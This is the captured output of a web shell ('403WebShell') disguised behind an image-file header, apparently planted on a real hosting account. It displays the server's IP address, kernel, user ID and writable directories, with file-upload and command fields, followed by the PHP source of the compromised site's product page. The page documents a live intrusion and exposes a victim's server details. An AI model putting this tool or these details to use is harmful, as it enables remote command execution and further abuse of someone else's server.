���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 93.127.173.114  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html//product-details.php
<?php
session_start();
error_reporting(0);
include('includes/config.php');
$pid = intval($_GET['pid']);
$query = "SELECT meta_title,meta_keywords,meta_description,h1_title,canonical FROM `products` where id='$pid' ";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_assoc($result);
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo ($row['meta_title']); ?></title>
    <meta content="<?php echo ($row['meta_keywords']); ?>" name="keywords">
    <meta content="<?php echo ($row['meta_description']); ?>" name="description">

    <?php include 'assets.php' ?>
</head>

<body class="layout-2 skeleton_body">
    <?php include 'header.php' ?>


    <div class="breadcrumb-area shadow dark bg-fixed text-light"
        style="background-image: url(assets/img/banner/12.jpg)">
        <div class="container">
            <div class="row mt-5 text-center">
                <div class="col-md-12">
                    <?php
                    $ret = mysqli_query($con, "select category.categoryName as catname,subcategory.subcategory as subcatname,products.productName as pname from products join category on category.id=products.category join subcategory on subcategory.id=products.subCategory where products.id='$pid'");
                    while ($rw = mysqli_fetch_array($ret)) {

                        ?>
                        <h1><?php echo htmlentities($rw['pname']); ?></h1>
                    </div>
                    <div class="col-md-12 mt-3">
                        <ul class="breadcrumb">
                            <li>
                                <a href="#"><i class="fas fa-home"></i> Home</a>
                            </li>
                            <li class="active"><?php echo htmlentities($rw['pname']); ?></li>
                        <?php } ?>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <section class="product-details" style="padding:50px 0px;">
        <div class="container">
            <div class="row">
                <?php
                $ret = mysqli_query($con, "SELECT * FROM products WHERE id='$pid'");
                while ($row = mysqli_fetch_array($ret)) {
                    for ($imgno = 1; $imgno <= 1; $imgno++) {
                        $imgVar = 'productImage' . $imgno;
                        if (!empty($row[$imgVar])) {
                            ?>
                            <div class="col-12 col-md-6">
                                <img src="product-admin/product-img/<?php echo htmlentities($row['id']); ?>/<?php echo htmlentities($row[$imgVar]); ?>"
                                    data-zoom-image="product-admin/product-img/<?php echo htmlentities($row['id']); ?>/<?php echo htmlentities($row[$imgVar]); ?>"
                                    class="img-fluid pdimg-details" alt="product" />
                            </div>
                            <div class="col-12 col-md-6">
                                <div class="detail-page">
                                    <h3><?php echo ($row['productName']); ?></h3>
                                    <p class="top-para">
                                        <?php echo ($row['productDescription']); ?>
                                    </p>
                                </div>
                            </div>
                        </div>
                    <?php }
                    }
                } ?>
        </div>
    </section>


    <?php include 'footer.php' ?>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit